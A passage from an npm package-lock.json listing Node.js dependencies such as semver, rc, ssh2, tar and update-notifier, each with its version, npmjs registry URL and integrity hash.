3476 | "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0="
3477 | },
3478 | "semver": {
3479 | "version": "5.7.1",
3480 | "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
3481 | "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
3482 | },
3483 | "supports-color": {
3484 | "version": "5.5.0",
3485 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
3486 | "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
3487 | "requires": {
3488 | "has-flag": "^3.0.0"
3489 | }
3490 | }
3491 | }
3492 | },
3493 | "nopt": {
3494 | "version": "5.0.0",
3495 | "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
3496 | "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
3497 | "requires": {
3498 | "abbrev": "1"
3499 | }
3500 | },
3501 | "normalize-path": {
3502 | "version": "3.0.0",
3503 | "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
3504 | "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
3505 | },
3506 | "normalize-url": {
3507 | "version": "4.5.1",
3508 | "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.1.tgz",
3509 | "integrity": "sha512-9UZCFRHQdNrfTpGg8+1INIg93B6zE0aXMVFkw1WFwvO4SlZywU6aLg5Of0Ap/PgcbSw4LNxvMWXMeugwMCX0AA=="
3510 | },
3511 | "npmlog": {
3512 | "version": "5.0.1",
3513 | "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz",
3514 | "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==",
3515 | "requires": {
3516 | "are-we-there-yet": "^2.0.0",
3517 | "console-control-strings": "^1.1.0",
3518 | "gauge": "^3.0.0",
3519 | "set-blocking": "^2.0.0"
3520 | }
3521 | },
3522 | "object-assign": {
3523 | "version": "4.1.1",
3524 | "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
3525 | "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
3526 | },
3527 | "once": {
3528 | "version": "1.4.0",
3529 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
3530 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
3531 | "requires": {
3532 | "wrappy": "1"
3533 | }
3534 | },
3535 | "opencollective-postinstall": {
3536 | "version": "2.0.3",
3537 | "resolved": "https://registry.npmjs.org/opencollective-postinstall/-/opencollective-postinstall-2.0.3.tgz",
3538 | "integrity": "sha512-8AV/sCtuzUeTo8gQK5qDZzARrulB3egtLzFgteqB2tcT4Mw7B8Kt7JcDHmltjz6FOAHsvTevk70gZEbhM4ZS9Q=="
3539 | },
3540 | "p-cancelable": {
3541 | "version": "1.1.0",
3542 | "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz",
3543 | "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw=="
3544 | },
3545 | "package-json": {
3546 | "version": "6.5.0",
3547 | "resolved": "https://registry.npmjs.org/package-json/-/package-json-6.5.0.tgz",
3548 | "integrity": "sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ==",
3549 | "requires": {
3550 | "got": "^9.6.0",
3551 | "registry-auth-token": "^4.0.0",
3552 | "registry-url": "^5.0.0",
3553 | "semver": "^6.2.0"
3554 | },
3555 | "dependencies": {
3556 | "semver": {
3557 | "version": "6.3.0",
3558 | "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
3559 | "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
3560 | }
3561 | }
3562 | },
3563 | "path": {
3564 | "version": "0.12.7",
3565 | "resolved": "https://registry.npmjs.org/path/-/path-0.12.7.tgz",
3566 | "integrity": "sha1-1NwqUGxM4hl+tIHr/NWzbAFAsQ8=",
3567 | "requires": {
3568 | "process": "^0.11.1",
3569 | "util": "^0.10.3"
3570 | }
3571 | },
3572 | "path-is-absolute": {
3573 | "version": "1.0.1",
3574 | "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
3575 | "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
3576 | },
3577 | "picomatch": {
3578 | "version": "2.3.0",
3579 | "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.0.tgz",
3580 | "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw=="
3581 | },
3582 | "prepend-http": {
3583 | "version": "2.0.0",
3584 | "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz",
3585 | "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
3586 | },
3587 | "process": {
3588 | "version": "0.11.10",
3589 | "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
3590 | "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI="
3591 | },
3592 | "pstree.remy": {
3593 | "version": "1.1.8",
3594 | "resolved": "https://registry.npmjs.org/pstree.remy/-/pstree.remy-1.1.8.tgz",
3595 | "integrity": "sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w=="
3596 | },
3597 | "pump": {
3598 | "version": "3.0.0",
3599 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
3600 | "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
3601 | "requires": {
3602 | "end-of-stream": "^1.1.0",
3603 | "once": "^1.3.1"
3604 | }
3605 | },
3606 | "punycode": {
3607 | "version": "2.1.1",
3608 | "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
3609 | "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
3610 | },
3611 | "pupa": {
3612 | "version": "2.1.1",
3613 | "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.1.1.tgz",
3614 | "integrity": "sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==",
3615 | "requires": {
3616 | "escape-goat": "^2.0.0"
3617 | }
3618 | },
3619 | "rc": {
3620 | "version": "1.2.8",
3621 | "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
3622 | "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
3623 | "requires": {
3624 | "deep-extend": "^0.6.0",
3625 | "ini": "~1.3.0",
3626 | "minimist": "^1.2.0",
3627 | "strip-json-comments": "~2.0.1"
3628 | },
3629 | "dependencies": {
3630 | "ini": {
3631 | "version": "1.3.8",
3632 | "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
3633 | "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
3634 | }
3635 | }
3636 | },
3637 | "readable-stream": {
3638 | "version": "3.6.0",
3639 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
3640 | "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
3641 | "requires": {
3642 | "inherits": "^2.0.3",
3643 | "string_decoder": "^1.1.1",
3644 | "util-deprecate": "^1.0.1"
3645 | }
3646 | },
3647 | "readdirp": {
3648 | "version": "3.6.0",
3649 | "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
3650 | "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
3651 | "requires": {
3652 | "picomatch": "^2.2.1"
3653 | }
3654 | },
3655 | "regexp-clone": {
3656 | "version": "1.0.0",
3657 | "resolved": "https://registry.npmjs.org/regexp-clone/-/regexp-clone-1.0.0.tgz",
3658 | "integrity": "sha512-TuAasHQNamyyJ2hb97IuBEif4qBHGjPHBS64sZwytpLEqtBQ1gPJTnOaQ6qmpET16cK14kkjbazl6+p0RRv0yw=="
3659 | },
3660 | "registry-auth-token": {
3661 | "version": "4.2.1",
3662 | "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.1.tgz",
3663 | "integrity": "sha512-6gkSb4U6aWJB4SF2ZvLb76yCBjcvufXBqvvEx1HbmKPkutswjW1xNVRY0+daljIYRbogN7O0etYSlbiaEQyMyw==",
3664 | "requires": {
3665 | "rc": "^1.2.8"
3666 | }
3667 | },
3668 | "registry-url": {
3669 | "version": "5.1.0",
3670 | "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-5.1.0.tgz",
3671 | "integrity": "sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw==",
3672 | "requires": {
3673 | "rc": "^1.2.8"
3674 | }
3675 | },
3676 | "require-directory": {
3677 | "version": "2.1.1",
3678 | "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
3679 | "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I="
3680 | },
3681 | "responselike": {
3682 | "version": "1.0.2",
3683 | "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz",
3684 | "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=",
3685 | "requires": {
3686 | "lowercase-keys": "^1.0.0"
3687 | }
3688 | },
3689 | "rimraf": {
3690 | "version": "3.0.2",
3691 | "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
3692 | "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
3693 | "requires": {
3694 | "glob": "^7.1.3"
3695 | }
3696 | },
3697 | "rxjs": {
3698 | "version": "6.6.7",
3699 | "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz",
3700 | "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==",
3701 | "requires": {
3702 | "tslib": "^1.9.0"
3703 | }
3704 | },
3705 | "safe-buffer": {
3706 | "version": "5.2.1",
3707 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
3708 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
3709 | },
3710 | "safer-buffer": {
3711 | "version": "2.1.2",
3712 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
3713 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
3714 | },
3715 | "saslprep": {
3716 | "version": "1.0.3",
3717 | "resolved": "https://registry.npmjs.org/saslprep/-/saslprep-1.0.3.tgz",
3718 | "integrity": "sha512-/MY/PEMbk2SuY5sScONwhUDsV2p77Znkb/q3nSVstq/yQzYJOH/Azh29p9oJLsl3LnQwSvZDKagDGBsBwSooag==",
3719 | "optional": true,
3720 | "requires": {
3721 | "sparse-bitfield": "^3.0.3"
3722 | }
3723 | },
3724 | "semver": {
3725 | "version": "7.3.5",
3726 | "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
3727 | "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
3728 | "requires": {
3729 | "lru-cache": "^6.0.0"
3730 | }
3731 | },
3732 | "semver-diff": {
3733 | "version": "3.1.1",
3734 | "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-3.1.1.tgz",
3735 | "integrity": "sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg==",
3736 | "requires": {
3737 | "semver": "^6.3.0"
3738 | },
3739 | "dependencies": {
3740 | "semver": {
3741 | "version": "6.3.0",
3742 | "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
3743 | "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
3744 | }
3745 | }
3746 | },
3747 | "set-blocking": {
3748 | "version": "2.0.0",
3749 | "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
3750 | "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc="
3751 | },
3752 | "settings": {
3753 | "version": "0.1.1",
3754 | "resolved": "https://registry.npmjs.org/settings/-/settings-0.1.1.tgz",
3755 | "integrity": "sha1-77o3iIs+yJXTjePxLmst6/FIY0E="
3756 | },
3757 | "sift": {
3758 | "version": "13.5.2",
3759 | "resolved": "https://registry.npmjs.org/sift/-/sift-13.5.2.tgz",
3760 | "integrity": "sha512-+gxdEOMA2J+AI+fVsCqeNn7Tgx3M9ZN9jdi95939l1IJ8cZsqS8sqpJyOkic2SJk+1+98Uwryt/gL6XDaV+UZA=="
3761 | },
3762 | "signal-exit": {
3763 | "version": "3.0.5",
3764 | "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.5.tgz",
3765 | "integrity": "sha512-KWcOiKeQj6ZyXx7zq4YxSMgHRlod4czeBQZrPb8OKcohcqAXShm7E20kEMle9WBt26hFcAf0qLOcp5zmY7kOqQ=="
3766 | },
3767 | "sliced": {
3768 | "version": "1.0.1",
3769 | "resolved": "https://registry.npmjs.org/sliced/-/sliced-1.0.1.tgz",
3770 | "integrity": "sha1-CzpmK10Ewxd7GSa+qCsD+Dei70E="
3771 | },
3772 | "sparse-bitfield": {
3773 | "version": "3.0.3",
3774 | "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz",
3775 | "integrity": "sha1-/0rm5oZWBWuks+eSqzM004JzyhE=",
3776 | "optional": true,
3777 | "requires": {
3778 | "memory-pager": "^1.0.2"
3779 | }
3780 | },
3781 | "spawn-command": {
3782 | "version": "0.0.2-1",
3783 | "resolved": "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2-1.tgz",
3784 | "integrity": "sha1-YvXpRmmBwbeW3Fkpk34RycaSG9A="
3785 | },
3786 | "ssh-keygen": {
3787 | "version": "0.5.0",
3788 | "resolved": "https://registry.npmjs.org/ssh-keygen/-/ssh-keygen-0.5.0.tgz",
3789 | "integrity": "sha512-TZmhcpeZTkEnIZF0aItjXz0zIIkHnJyti4bIFiO4Ir0tqwsKDPtC7nFnvjPAy/diGXNy7m5ZcGg44QfUNA9y5g==",
3790 | "requires": {
3791 | "underscore": "1.4.x"
3792 | }
3793 | },
3794 | "ssh2": {
3795 | "version": "1.5.0",
3796 | "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-1.5.0.tgz",
3797 | "integrity": "sha512-iUmRkhH9KGeszQwDW7YyyqjsMTf4z+0o48Cp4xOwlY5LjtbIAvyd3fwnsoUZW/hXmTCRA3yt7S/Jb9uVjErVlA==",
3798 | "requires": {
3799 | "asn1": "^0.2.4",
3800 | "bcrypt-pbkdf": "^1.0.2",
3801 | "cpu-features": "0.0.2",
3802 | "nan": "^2.15.0"
3803 | }
3804 | },
3805 | "string_decoder": {
3806 | "version": "1.3.0",
3807 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
3808 | "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
3809 | "requires": {
3810 | "safe-buffer": "~5.2.0"
3811 | }
3812 | },
3813 | "string-width": {
3814 | "version": "2.1.1",
3815 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz",
3816 | "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==",
3817 | "requires": {
3818 | "is-fullwidth-code-point": "^2.0.0",
3819 | "strip-ansi": "^4.0.0"
3820 | }
3821 | },
3822 | "strip-ansi": {
3823 | "version": "4.0.0",
3824 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
3825 | "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
3826 | "requires": {
3827 | "ansi-regex": "^3.0.0"
3828 | }
3829 | },
3830 | "strip-json-comments": {
3831 | "version": "2.0.1",
3832 | "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
3833 | "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo="
3834 | },
3835 | "supports-color": {
3836 | "version": "8.1.1",
3837 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
3838 | "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
3839 | "requires": {
3840 | "has-flag": "^4.0.0"
3841 | }
3842 | },
3843 | "tar": {
3844 | "version": "6.1.11",
3845 | "resolved": "https://registry.npmjs.org/tar/-/tar-6.1.11.tgz",
3846 | "integrity": "sha512-an/KZQzQUkZCkuoAA64hM92X0Urb6VpRhAFllDzz44U2mcD5scmT3zBc4VgVpkugF580+DQn8eAFSyoQt0tznA==",
3847 | "requires": {
3848 | "chownr": "^2.0.0",
3849 | "fs-minipass": "^2.0.0",
3850 | "minipass": "^3.0.0",
3851 | "minizlib": "^2.1.1",
3852 | "mkdirp": "^1.0.3",
3853 | "yallist": "^4.0.0"
3854 | }
3855 | },
3856 | "to-readable-stream": {
3857 | "version": "1.0.0",
3858 | "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz",
3859 | "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q=="
3860 | },
3861 | "to-regex-range": {
3862 | "version": "5.0.1",
3863 | "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
3864 | "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
3865 | "requires": {
3866 | "is-number": "^7.0.0"
3867 | }
3868 | },
3869 | "touch": {
3870 | "version": "3.1.0",
3871 | "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz",
3872 | "integrity": "sha512-WBx8Uy5TLtOSRtIq+M03/sKDrXCLHxwDcquSP2c43Le03/9serjQBIztjRz6FkJez9D/hleyAXTBGLwwZUw9lA==",
3873 | "requires": {
3874 | "nopt": "~1.0.10"
3875 | },
3876 | "dependencies": {
3877 | "nopt": {
3878 | "version": "1.0.10",
3879 | "resolved": "https://registry.npmjs.org/nopt/-/nopt-1.0.10.tgz",
3880 | "integrity": "sha1-bd0hvSoxQXuScn3Vhfim83YI6+4=",
3881 | "requires": {
3882 | "abbrev": "1"
3883 | }
3884 | }
3885 | }
3886 | },
3887 | "tr46": {
3888 | "version": "3.0.0",
3889 | "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz",
3890 | "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==",
3891 | "requires": {
3892 | "punycode": "^2.1.1"
3893 | }
3894 | },
3895 | "tree-kill": {
3896 | "version": "1.2.2",
3897 | "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz",
3898 | "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A=="
3899 | },
3900 | "tslib": {
3901 | "version": "1.14.1",
3902 | "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
3903 | "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
3904 | },
3905 | "tweetnacl": {
3906 | "version": "0.14.5",
3907 | "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
3908 | "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q="
3909 | },
3910 | "type-fest": {
3911 | "version": "0.20.2",
3912 | "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
3913 | "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ=="
3914 | },
3915 | "typedarray-to-buffer": {
3916 | "version": "3.1.5",
3917 | "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
3918 | "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
3919 | "requires": {
3920 | "is-typedarray": "^1.0.0"
3921 | }
3922 | },
3923 | "undefsafe": {
3924 | "version": "2.0.5",
3925 | "resolved": "https://registry.npmjs.org/undefsafe/-/undefsafe-2.0.5.tgz",
3926 | "integrity": "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA=="
3927 | },
3928 | "underscore": {
3929 | "version": "1.4.4",
3930 | "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.4.4.tgz",
3931 | "integrity": "sha1-YaajIBBiKvoHljvzJSA88SI51gQ="
3932 | },
3933 | "unique-string": {
3934 | "version": "2.0.0",
3935 | "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
3936 | "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
3937 | "requires": {
3938 | "crypto-random-string": "^2.0.0"
3939 | }
3940 | },
3941 | "update-notifier": {
3942 | "version": "5.1.0",
3943 | "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-5.1.0.tgz",
3944 | "integrity": "sha512-ItnICHbeMh9GqUy31hFPrD1kcuZ3rpxDZbf4KUDavXwS0bW5m7SLbDQpGX3UYr072cbrF5hFUs3r5tUsPwjfHw==",
3945 | "requires": {
3946 | "boxen": "^5.0.0",
3947 | "chalk": "^4.1.0",
3948 | "configstore": "^5.0.1",
3949 | "has-yarn": "^2.1.0",
3950 | "import-lazy": "^2.1.0",
3951 | "is-ci": "^2.0.0",
3952 | "is-installed-globally": "^0.4.0",
3953 | "is-npm": "^5.0.0",
3954 | "is-yarn-global": "^0.3.0",
3955 | "latest-version": "^5.1.0",
3956 | "pupa": "^2.1.1",
3957 | "semver": "^7.3.4",
3958 | "semver-diff": "^3.1.1",
3959 | "xdg-basedir": "^4.0.0"
3960 | }
3961 | },
3962 | "url-parse-lax": {
3963 | "version": "3.0.0",
3964 | "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz",
3965 | "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=",
3966 | "requires": {
3967 | "prepend-http": "^2.0.0"
3968 | }
3969 | },
3970 | "util": {
3971 | "version": "0.10.4",
3972 | "resolved": "https://registry.npmjs.org/util/-/util-0.10.4.tgz",
3973 | "integrity": "sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==",
3974 | "requires": {
3975 | "inherits": "2.0.3"
3976 | }
3977 | },
3978 | "util-deprecate": {
3979 | "version": "1.0.2",
3980 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
3981 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
3982 | },
3983 | "webidl-conversions": {
3984 | "version": "7.0.0",
3985 | "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",
3986 | "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="
3987 | },
3988 | "whatwg-url": {
3989 | "version": "11.0.0",
3990 | "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz",
3991 | "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==",
3992 | "requires": {
3993 | "tr46": "^3.0.0",
3994 | "webidl-conversions": "^7.0.0"
3995 | }
3996 | },
3997 | "wide-align": {
3998 | "version": "1.1.5",
3999 | "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",
4000 | "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==",
4001 | "requires": {
4002 | "string-width": "^1.0.2 || 2 || 3 || 4"
4003 | }
4004 | },
4005 | "widest-line": {
4006 | "version": "3.1.0",
4007 | "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz",
4008 | "integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==",
4009 | "requires": {
4010 | "string-width": "^4.0.0"
4011 | },
4012 | "dependencies": {
4013 | "ansi-regex": {
4014 | "version": "5.0.1",
4015 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
4016 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
4017 | },
4018 | "is-fullwidth-code-point": {
4019 | "version": "3.0.0",
4020 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
4021 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
4022 | },
4023 | "string-width": {
4024 | "version": "4.2.3",
4025 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
4026 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
4027 | "requires": {
4028 | "emoji-regex": "^8.0.0",
4029 | "is-fullwidth-code-point": "^3.0.0",
4030 | "strip-ansi": "^6.0.1"
4031 | }
4032 | },
4033 | "strip-ansi": {
4034 | "version": "6.0.1",
4035 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
